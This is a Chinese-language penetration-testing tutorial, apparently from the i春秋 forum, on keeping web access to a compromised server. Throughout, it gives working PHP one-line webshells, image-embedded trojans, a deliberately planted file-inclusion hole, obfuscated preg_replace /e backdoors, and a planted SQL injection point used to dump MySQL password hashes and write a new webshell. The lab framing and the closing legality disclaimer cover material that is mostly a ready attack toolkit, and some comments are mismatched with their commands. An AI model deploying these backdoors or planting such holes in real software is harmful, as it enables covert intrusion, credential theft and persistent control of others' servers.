關(guān)于權(quán)限維持,我之前寫過一篇基于系統(tǒng)端木馬怎么做的后門技術(shù)文章,如映像劫持啊,lpk之類。當然啦,在拿到權(quán)限后,在web端做手腳也是個好辦法。
內(nèi)容目錄
- 構(gòu)造文件包含漏洞
- 隱蔽性腳本木馬
- 構(gòu)造sql注入點
構(gòu)造文件包含漏洞
本部分概覽
* 基本的文件包含姿勢
* 制作圖片馬
* 構(gòu)造文件包含漏洞
>>>>
PHP文件包含漏洞介紹
首先,我們來介紹下何為文件包含漏洞。嚴格來說,文件包含漏洞是`代碼注入`的一種。其原理就是注入一段用戶能控制的腳本或代碼,并讓服務端執(zhí)行。`代碼注入`的典型代表就是文件包含。文件包含漏洞可能出現(xiàn)在`JSP、PHP、ASP`等語言中,原理都是一樣的,本實驗以PHP文件包含漏洞做例子。
要想成功利用文件包含漏洞進行攻擊,需要滿足以下兩個條件木馬怎么做:
1. Web應用采用include()等文件包含函數(shù)通過動態(tài)變量的方式引入需要包含的文件;
2. 用戶能夠控制該動態(tài)變量。
在PHP中,有四個用于包含文件的函數(shù),當使用這些函數(shù)包含文件時,文件中包含的PHP代碼會被執(zhí)行。下面對它們之間的區(qū)別進行解釋:
`include()`:當使用該函數(shù)包含文件時,只有代碼執(zhí)行到`include()`函數(shù)時才將文件包含進來,發(fā)生錯誤時只給出一個警告,繼續(xù)向下執(zhí)行。
`include_once()`:功能和`include()`相同,區(qū)別在于當重復調(diào)用同一文件時,程序只調(diào)用一次。
`require()`:`require()`與`include()`的區(qū)別在于`require()`執(zhí)行如果發(fā)生錯誤,函數(shù)會輸出錯誤信息,并終止腳本的運行。使用`require()`函數(shù)包含文件時,只要程序一執(zhí)行,立即調(diào)用文件,而include()只有程序執(zhí)行到該函數(shù)時才調(diào)用。
`require_once()`:它的功能與`require()`相同,區(qū)別在于當重復調(diào)用同一文件時,程序只調(diào)用一次。
步驟1 基本的文件包含姿勢
以下所有步驟建立在已經(jīng)取得目標機權(quán)限的情況下。
我們假設事先通過一系列的滲透測試得到了目標機的一句話webshell。
假設我們事前得知,目標服務器的一些腳本文件存在文件包含漏洞,如:
/clude.php?file=index.php
其參數(shù)`file`沒有作很好的過濾,可以包含任意文件。
比如,我們在漏洞文件`clude.php`同目錄新建一個文件`getshell.php`,內(nèi)容是PHP一句話木馬:
<?php @eval($_POST['pass']);?>
使用中國菜刀進入文件管理功能并如下操作,那么我們嘗試通過`clude.php`包含腳本木馬`getshell.php`:
/clude.php?file=getshell.php
點擊`Enable Post data`調(diào)出POST數(shù)據(jù)欄,并POST以下數(shù)據(jù):
pass=system('set');
此處傳遞的變量是通過調(diào)用PHP的`system()`函數(shù)執(zhí)行`set`命令來查看當前系統(tǒng)的環(huán)境變量。
當然,這里直接包含了一個木馬文件,在我們已經(jīng)有了webshell的情況下,這好像并沒有很大意義。隱蔽性并不是很強。
步驟2 制作圖片馬
PHP文件包含,其包含的文件無論是什么格式,都會被當做PHP文件來解析。
那么,如果惡意代碼被插入到了一個正常的網(wǎng)頁圖片中,而且圖片在被插入惡意代碼之后還能正常顯示,那隱蔽性就增強了。
圖片木馬其實還有另一點意義,有些網(wǎng)站我們在滲透測試嘗試上傳shell的時候,會要用到上傳文件,但是有的時候都會有過濾,如果只是上傳`.asp .php`結(jié)尾的文件的話系統(tǒng)是不會給木馬怎么做你上傳的,那么這個時候我們通常會把一句話放在圖片里面,寫成`1.asp;.jpg或1.asp;jpg`的格式上傳上去,這樣上傳的時候系統(tǒng)檢測是圖片,然后在上傳之后,會把這個文件當asp文件來處理。
那么如何用制作圖片形式的一句話木馬呢?
首先我們在工具目錄準備了一個圖片文件`1.png`,和一個一句話木馬文件`hack.php`。
準備好之后就在該目錄開啟命令行,然后輸入以下命令:
copy 1.png/b+hack.php test.png
然后回車就系統(tǒng)就會自動把這兩個文件組合起來并命名為`test.png`:
這個時候我們打開兩個文件對比一下,用記事本打開,發(fā)現(xiàn)`1.png`的內(nèi)容當中已經(jīng)把我們的`hack.php`的一句話木馬語句已經(jīng)加加到圖片當中去了。
當然了,最重要的是,被寫入了一句話的圖片還是可以正常打開的,此為本步驟的目的所在:
那么,在實際滲透測試實驗中,我們通常是通過下載網(wǎng)站原有的圖片文件并替換成一句話木馬最后通過替換原本的圖片文件達到一定的隱蔽效果。
那么我們試試該圖片木馬是否可用,先通過中國菜刀的文件上傳功能把`test.png`上傳到目標機根目錄:
那么我們嘗試通過`clude.php`包含一句話圖片木馬`test.png`:
/clude.php?file=test.png
點擊`Enable Post data`調(diào)出POST數(shù)據(jù)欄,并POST以下數(shù)據(jù):
pass=system('set');
此處傳遞的變量是通過調(diào)用PHP的`system()`函數(shù)執(zhí)行`set`命令來查看當前系統(tǒng)的環(huán)境變量。
當然,這里還是直接包含了一個木馬文件,在我們已經(jīng)有了webshell的情況下,這好像并沒有很大意義。隱蔽性并不是很強。
步驟3 構(gòu)造文件包含漏洞
那么假設我們拿到shell的服務器上的腳本文件都不存在文件包含漏洞就需要我們自己來構(gòu)造漏洞了,以達到權(quán)限維持的效果。
文件包含漏洞的腳本文件的構(gòu)造就比較簡單了,直接寫一個不帶有任何過濾的利用`include()`函數(shù)調(diào)用文件的PHP文件,文件代碼及相關(guān)的注釋如下:
<?php
$filename=$_GET['filename']; //將參數(shù)file的值傳遞給$filename變量include($filename); //使用include()函數(shù)包含文件
?>
上述代碼我們已經(jīng)保存在工具目錄的`include.php`,我們使用中國菜刀的文件管理功能把`include.php`上傳到目標站根目錄:
接下來我們在瀏覽器訪問以下URL以包含圖片木馬`test.png`:
此處的PNG文件被當做是PHP文件解析,于是直接顯示了圖片亂碼,我們在亂碼最后并沒有發(fā)現(xiàn)我們的一句話木馬痕跡,于是推斷我們的一句話木馬已經(jīng)被解析。
接著我們點擊`Enable Post data`調(diào)出POST數(shù)據(jù)欄,并POST以下數(shù)據(jù):
pass=system('net user');
此處傳遞的變量是通過調(diào)用PHP的`system()`函數(shù)執(zhí)行`set`命令來查看當前系統(tǒng)的環(huán)境變量。
我們在圖片亂碼下面可以看到`net user`命令的回顯。
至此,圖片木馬被成功部署并利用。
隱蔽性腳本木馬
本部分概覽:
* 使用`preg_replace`函數(shù)留后門
* 使用加密`preg_replace`函數(shù)
* 變異加密型后門
步驟1 使用`preg_replace`函數(shù)留后門
其實我們可以通過如下代碼實現(xiàn)了隱藏式后門:
<?php @preg_replace("http://e",$_POST['IN_COMSENZ'],"Access Denied");?>
乍看到這個代碼覺得沒什么問題,這里用到的是php的`preg_replace`函數(shù):
- `preg_replace`函數(shù)原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特別說明:
`/e`修正符使`preg_replace()`將`replacement`參數(shù)當作 PHP代碼(在適當?shù)哪嫦蛞锰鎿Q完之后)。
提示:要確保`replacement`構(gòu)成一個合法的 PHP 代碼字符串,否則 PHP 會在報告:在"包含 `preg_replace()` 的行中出現(xiàn)語法解析錯誤."上面的代碼是POST接收數(shù)據(jù),實現(xiàn)可能不太直觀,如果換成GET獲取數(shù)據(jù)的話可以更好地理解:
舉例,代碼如下:
<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>
我們假設事先通過一系列的滲透測試得到了目標機的一句話webshell。
在中國菜刀的文件管理頁面右鍵,新建一個`test.php`,內(nèi)容是上述的`get`方式提交的一句話:
<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>
如果我們提交`?h=phpinfo()`即是通過傳參執(zhí)行了PHP的`phpinfo()`函數(shù)。
即在瀏覽器訪問以下URL傳遞需要執(zhí)行的變量函數(shù)`phpinfo()`:
/test.php?h=phpinfo();
如上圖可見`phpinfo()`將會被執(zhí)行(用`/e`修飾符,`preg_replace`會將`replacement`參數(shù)當作PHP代碼執(zhí)行)。
在PHP中,雙引號里面如果包含有變量,php解釋器會將其替換為變量解釋后的結(jié)果,單引號中的變量不會被處理。
**注意:**雙引號中的函數(shù)不會被執(zhí)行和替換。
步驟2 使用加密`preg_replace`函數(shù)
我們準備了一個加密`preg_replace`函數(shù)的一個php后門文件:
文件內(nèi)容如下:
上述代碼最后解密出來其實還是利用`preg_replace`的`/e`來執(zhí)行的一句話webshell。
代碼中的md5值`202cb962ac59075b964b07152d234b70`明文是`123`。
我們先通過上個步驟中的一句話木馬把`test1.php`上傳到目標機根目錄,該木馬的利用方式是訪問該文件并通過POST方式提交類似如下數(shù)據(jù):
pass=123&check=phpinfo();
那么我們在瀏覽器POST數(shù)據(jù)一般是通過火狐瀏覽器的hackbar插件,火狐瀏覽器的的Hackbar插件的POST數(shù)據(jù)欄默認是不開啟的,我們需要勾選上圖紅圈中的部分已啟動POST欄。
啟動POST欄之后,我們在`Post data`一欄輸入以下數(shù)據(jù)來POST給服務器:
pass=123&check=phpinfo();
上述POST的數(shù)據(jù)是嘗試執(zhí)行`phpinfo()`函數(shù):
如上圖可見,`phpinfo()`函數(shù)被成功執(zhí)行。
當然我們還能通過`system()`函數(shù)來執(zhí)行系統(tǒng)命令:
如通過火狐瀏覽器的Hackbar插件POST以下數(shù)據(jù):
pass=123&check=system('set')
上述POST的數(shù)據(jù)中就是執(zhí)行了系統(tǒng)命令`set`查看當前操作系統(tǒng)環(huán)境變量,如上圖,我們成功取得了返回。
步驟3 變異加密型后門
我們這里準備了一個PHP腳本后門,代碼很是奇葩,源代碼如下:
上述源碼,光看看木馬怎么做你是看不出什么端倪的。我們?yōu)榱朔奖愦蠹铱吹缴鲜龃a到底做了些什么,對代碼做了輸出調(diào)試處理,輸出每個步驟的輸出,并對代碼做了一些詳細的解釋:
做了調(diào)試的的源碼我們命名為`base1.php`:
接著我們使用中國菜刀把上述兩個文件`base.php`和`base1.php`都上傳到網(wǎng)站根目錄。
好了之后我們訪問已經(jīng)做了調(diào)試的`base1.php`:
```
https://172.16.12.2/base1.php
```
如上圖可見,php文件運行起來后輸出結(jié)果如下:
上述代碼文件我們是一步一步輸出的,輸出到最后,我們發(fā)現(xiàn),生成的竟然是經(jīng)典的PHP版一句話木馬文件代碼:
eval(_decode($_POST[‘z0’]))
上述一句話木馬文件中在POST數(shù)據(jù)外加了`_decode`函數(shù),于是我們需要對變量的提交做``加密處理。
`base.php`上傳之后具體的URL地址如下:
我們在火狐瀏覽器訪問該文件,并使用Hackbar插件直接提交下面的數(shù)據(jù)是不行的:
```
z0=phpinfo();
```
我們需要把對`z0`變量的賦值進行加密,加密后的數(shù)據(jù)形式如下:
```
z0=cGhwaW5mbygpOw==
```
我們直接選中`z0=phpinfo();`中的`phpinfo();`,然后點擊`Encoding`->` Encoding`,如此`phpinfo();`將會被加密:
加密完成后,我們點擊`Execute`提交:
如上圖,`phpinfo()`函數(shù)被成功執(zhí)行。
那么我們也可以嘗試執(zhí)行系統(tǒng)命令如`net user`:
常規(guī)來說,我們提交的是如下數(shù)據(jù):
```
z0=system('net user');
```
在這里我們就需要對變量的賦值`system('net user');`部分進行加密,選中POST欄的`phpinfo();`,然后點擊`Encoding`->` Encoding`,然后POST的數(shù)據(jù)變成如下形式:
```
z0=c3lzdGVtKCd2ZXInKTs=
```
加密完成后,我們點擊`Execute`提交:
如上圖可見,`net user`命令被成功執(zhí)行而且我們獲得了清晰地返回信息。
構(gòu)造sql注入點
本部分概覽:
* 構(gòu)造注入點
* 利用構(gòu)造的注入點
本部分以php腳本和MySQL數(shù)據(jù)庫為例,演示在獲得目標機權(quán)限之后,在目標機上面構(gòu)造一個注入漏洞方便我們后續(xù)隱蔽性維持權(quán)限的方法。
步驟1 構(gòu)造注入點
我們假設事先通過一系列的滲透測試得到了目標機的一句話webshell。
打開中國菜刀工具添加一句話木馬,注意數(shù)據(jù)庫配置信息填寫如下數(shù)據(jù)(事先獲得):
<T>MYSQL</T>
<H>localhost</H>
<U>root</U>
<>root</P>
<N>mysql</N>
使用中國菜刀進入到目標機的數(shù)據(jù)庫管理功能:
在中國菜刀的數(shù)據(jù)庫管理功能頁面執(zhí)行以下語句以創(chuàng)建一個新的數(shù)據(jù)庫:
```
create database sqlinject;
```
然后退出該數(shù)據(jù)庫管理頁面,在重新進入數(shù)據(jù)庫管理頁面就能看到新建的數(shù)據(jù)庫`sqlinjec`了,我們雙擊該數(shù)據(jù)庫名切換到該數(shù)據(jù)庫:
然后執(zhí)行以下語句在`sqlinject`數(shù)據(jù)庫中建立表和列:
```
create table admin(id int auto_increment primary key,username varchar(32) not null,password varchar(32) not null);
```
再執(zhí)行以下語句想表中的列寫入字段值:
```
insert into admin (username,password) values ('admin',md5('admin')),('safe',md5('12345')),('test',md5('test'));
```
然后我們雙擊查看`inject`數(shù)據(jù)庫下各項,可以看到數(shù)據(jù)已經(jīng)寫入。
接下來我們需要構(gòu)造腳本文件調(diào)用上述數(shù)據(jù)庫,腳本文件內(nèi)容如下:
該文件上傳完畢后,我們根據(jù)上述腳本內(nèi)容推測,構(gòu)造的sql注入點如下:
/test.php?id=1
步驟2 利用構(gòu)造的注入點
根據(jù)我們之前講的sql注入相關(guān)知識,我們嘗試通過構(gòu)造以下語句讀取數(shù)據(jù)庫用戶相關(guān)信息:
test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#
>我們把參數(shù)從1改為-1是為了防止當前查詢的返回結(jié)果影響我們到時候提取指定文本。
>`concat()`函數(shù)把多個需要查詢的字段放在一起
>`0x7c`是`|`符號的16進制轉(zhuǎn)碼結(jié)果,有利于我們到時候把字段區(qū)分開。
我們得到以下具體信息:
localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
如此得知本地主機`localhost`的`root`賬戶的密碼hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。
實際滲透測試中,我們可以通過`cmd5.com`的大型hash破解平臺來破解密碼,我們這里通過線上破解得知,此hash對應的密碼值為`root`。這些信息可以用來后續(xù)的mysql提權(quán)。
后來假設我們之前的一句話木馬被管理員刪除了,然而我們還是可以利用上述我們創(chuàng)建的sql注入點向服務器再寫入一個腳本木馬。
然后我們嘗試在這里寫一個一句話webshell到服務器,一句話木馬樣本如下:
<?php @eval($_POST['pass']);?>
我們在火狐瀏覽器的HackBar插件把上述一句話木馬轉(zhuǎn)換為16進制,目的是避免特殊字符的轉(zhuǎn)義導致語句不能正確執(zhí)行:
如圖,一句話木馬加密后的結(jié)果為:
3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e
然后在注入點構(gòu)造以下語句把一句話導出到`c:/www/small.php`,我們在一句話木馬的16進制字符前加了`0x`(此為16進制標識符):
以上語句連續(xù)執(zhí)行兩次,如果出現(xiàn)以下錯誤,即說明文件寫入成功:
Invalid Query:File 'c:/www/small.php' already exists//第二次寫入提示文件已存在則說明文件寫入成功
我們嘗試使用中國菜刀連接一句話木馬,如下圖操作:
至此,我們成功夠早了sql注入點并成功利用其向目標機寫入了新的webshell。
分析與總結(jié)
主要學習了以下內(nèi)容:
- 隱蔽性腳本木馬
- 畸形目錄隱藏shell
- 構(gòu)造文件包含漏洞
- 構(gòu)造sql注入點
通過本實驗,我們學習了幾種比較奇特的隱蔽性的腳本木馬的原理和利用方式,目的在于維持web端的權(quán)限。還學習了基本的文件包含漏洞的利用、圖片木馬的制作,以及如何構(gòu)造文件包含漏洞以便我們后續(xù)維持web端權(quán)限、在目標服務器web端構(gòu)造sql注入點用以后續(xù)維持權(quán)限的方式。
當然,web端權(quán)限維持技術(shù)各種各樣,不僅于此,只有你想不到,沒有滲透測試人員做不到。
若涉及敏感操作,請在法律允許的范圍內(nèi)測試!
作者:Binghe
來源:i春秋
鏈接:https://bbs.ichunqiu.com/thread-19144-1-1.html
煉石信息安全培訓春季班開招
QQ:495066536
372806985
敬請持續(xù)關(guān)注……
評論列表
還沒有評論,快來說點什么吧~